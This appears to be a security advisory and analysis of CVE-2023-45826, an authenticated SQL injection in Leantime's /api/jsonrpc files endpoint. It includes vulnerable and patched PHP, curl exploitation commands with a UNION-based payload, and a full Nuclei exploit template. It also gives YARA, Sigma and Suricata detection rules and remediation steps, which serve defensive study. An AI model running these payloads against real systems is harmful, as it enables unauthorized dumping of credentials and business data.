CVE-2023-45826

Executive Summary

CVE-2023-45826 is an authenticated SQL injection vulnerability in Leantime, an open-source project management system. The flaw resides in the app/domain/files/repositories/class.files.php file, where the userId parameter is not properly sanitized or parameterized. An authenticated attacker can craft a malicious POST request to the /api/jsonrpc endpoint, injecting arbitrary SQL commands. This allows the attacker to dump sensitive database contents, including user credentials, project data, and other confidential information. The vulnerability has a CVSS score of 6.5 (Medium) and is confirmed to be exploitable. A public Nuclei template is available, and no known workarounds exist; upgrading to version 2.4-beta-4 is the only remediation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) - Database contents can be dumped
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is elevated due to the low complexity and the high confidentiality impact, despite requiring authentication. The EPSS score of 0.34414 (97th percentile) indicates active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection (CWE-89) in the getFilesByModule function within app/domain/files/repositories/class.files.php. The userId parameter is directly concatenated into an SQL query without parameterization. An authenticated attacker can send a JSON-RPC request to /api/jsonrpc with a malicious userId value.

The vulnerable code path:

1. The application receives a POST request to /api/jsonrpc with method leantime.rpc.files.getFilesByModule.
2. The userId parameter from the request is passed to the getFilesByModule function.
3. The function constructs an SQL query by directly embedding the userId value, e.g., SELECT ... FROM files WHERE userId = $userId.
4. An attacker can inject SQL commands, such as 9 UNION SELECT ..., to extract arbitrary data.

The provided Nuclei template demonstrates the exploitation by injecting a UNION-based payload that concatenates a marker with the database user, confirming the injection.

Vulnerable vs. Patched Code

Vulnerable Code (class.files.php - pre-2.4-beta-4):

public function getFilesByModule($userId, $module) {
    $sql = "SELECT * FROM zp_files WHERE userId = " . $userId . " AND module = '" . $module . "'";
    // ...
}

Patched Code (class.files.php - 2.4-beta-4+):

public function getFilesByModule($userId, $module) {
    $sql = "SELECT * FROM zp_files WHERE userId = :userId AND module = :module";
    $st = $this->db->prepare($sql);
    $st->bindValue(':userId', $userId, PDO::PARAM_INT);
    $st->bindValue(':module', $module, PDO::PARAM_STR);
    $st->execute();
    // ...
}

The patch uses parameterized queries (prepared statements) to separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid Leantime user credentials (e.g., username: admin, password: password).
• Network access to the Leantime instance.

Exploitation Steps:

1. Authenticate to obtain a session cookie.
2. Send a crafted JSON-RPC POST request to /api/jsonrpc with a UNION-based SQL injection payload.

Example Request (using curl):

# Step 1: Login
curl -c cookies.txt -X POST http://target.com/auth/login \
  -d "redirectUrl=http%3A%2F%2Ftarget.com%2Fdashboard%2Fhome&username=admin&password=password&login=Login"

# Step 2: Exploit SQL injection
curl -b cookies.txt -X POST http://target.com/api/jsonrpc \
  -H "Content-Type: application/json" \
  -d '{"method": "leantime.rpc.files.getFilesByModule","jsonrpc": "2.0","id": "1","params": {"userId":"9 UNION SELECT CONCAT(0xdeadbeef,0x3a,user()),2,3,4,5,6,7,8,9,10,11-- -"}}'

Expected Output: The response will contain the marker deadbeef: followed by the database username, confirming successful injection.

Automated Exploitation (Nuclei): The provided Nuclei template automates the process. Save it as CVE-2023-45826.yaml and run:

nuclei -t CVE-2023-45826.yaml -u http://target.com -var username=admin -var password=password

Blue Team (Detection & Mitigation)

Detection:

• Monitor for POST requests to /api/jsonrpc with suspicious userId parameters containing SQL keywords (e.g., UNION, SELECT, CONCAT).
• Alert on responses containing unexpected database error messages or data patterns.

Mitigation:

• Immediately upgrade to Leantime version 2.4-beta-4 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the userId parameter.
• Restrict API access to trusted IPs or enforce additional authentication for the /api/jsonrpc endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/jsonrpc with JSON body containing "userId":"9 UNION SELECT or similar patterns.
  • Responses containing "Request was successful" along with unexpected database output.
• File IOCs:
  • Log entries in Leantime logs showing SQL errors or unusual database queries.
• System IOCs:
  • Unauthorized database queries originating from the Leantime application user.

Detection Engineering

YARA Rule

rule CVE_2023_45826_Leantime_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-45826 in Leantime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-45826"
    strings:
        $jsonrpc = "leantime.rpc.files.getFilesByModule"
        $sqli_pattern = /userId.*UNION.*SELECT/i
    condition:
        $jsonrpc and $sqli_pattern
}

Sigma Rule

title: Leantime CVE-2023-45826 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Leantime /api/jsonrpc endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/jsonrpc'
        cs-uri-query|contains: 'leantime.rpc.files.getFilesByModule'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'CONCAT'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the API with normal parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-45826 Leantime SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/jsonrpc"; http_uri;
    content:"leantime.rpc.files.getFilesByModule"; http_client_body;
    pcre:"/userId.*UNION.*SELECT/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-45826;
    priority:2;
)

Nuclei Template (Provided)

id: CVE-2023-45826

info:
  name: Leantime < 2.4 - Authenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    Leantime is an open source project management system. A 'userId' variable in `app/domain/files/repositories/class.files.php` is not parameterized. An authenticated attacker can send a carefully crafted POST request to `/api/jsonrpc` to exploit an SQL injection vulnerability. Confidentiality is impacted as it allows for dumping information from the database. This issue has been addressed in version 2.4-beta-4. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Authenticated attackers can exploit SQL injection through the userId parameter in the files API to dump database contents, potentially exposing project information, user credentials, and sensitive business data from the Leantime system.
  remediation: |
    Update Leantime to version 2.4-beta-4 or later that uses parameterized queries for the userId variable in app/domain/files/repositories/class.files.php.
  reference:
    - https://github.com/advisories/GHSA-c39w-3pjx-qc7m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-45826
    cwe-id: CWE-89
    epss-score: 0.34414
    epss-percentile: 0.97011
    cpe: cpe:2.3:a:leantime:leantime:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leantime
    product: leantime
    shodan-query: title:"Leantime"
  tags: cve,cve2023,leantime,authenticated,sqli,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  marker: "{{randstr}}"
  hex_marker: "{{hex_encode(marker)}}"

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        redirectUrl=http%253A%252F%252Fpdt.re%253A8080%252Fdashboard%252Fhome&username={{username}}&password={{password}}&login=Login

    matchers:
      - type: word
        part: body
        words:
          - /dashboard/home

  - raw:
      - |
        POST /api/jsonrpc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method": "leantime.rpc.files.getFilesByModule","jsonrpc": "2.0","id": "1","params": {"userId":"9 union select concat(0x{{hex_marker}},0x3a,user()),2,3,4,5,6,7,8,9,10,11-- -" } }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request was successful'
          - "{{marker}}"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        internal: false
        regex:
          - '"\w+:(.*?)\"'
        group: 1

Remediation & Mitigation

Immediate Actions:

1. Upgrade Leantime: Update to version 2.4-beta-4 or later. This is the only official fix.
2. Apply WAF Rules: Block requests to /api/jsonrpc containing SQL injection patterns (e.g., UNION, SELECT, CONCAT) in the userId parameter.
3. Restrict API Access: Limit access to the /api/jsonrpc endpoint to trusted IP addresses or require additional authentication tokens.

Long-term Measures:

• Implement input validation and parameterized queries for all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other components.

Workarounds:

• No known workarounds exist. The only effective mitigation is upgrading.

Valters IT

{/* [Security Hash: 6489F32B8E91256D55730C87] */}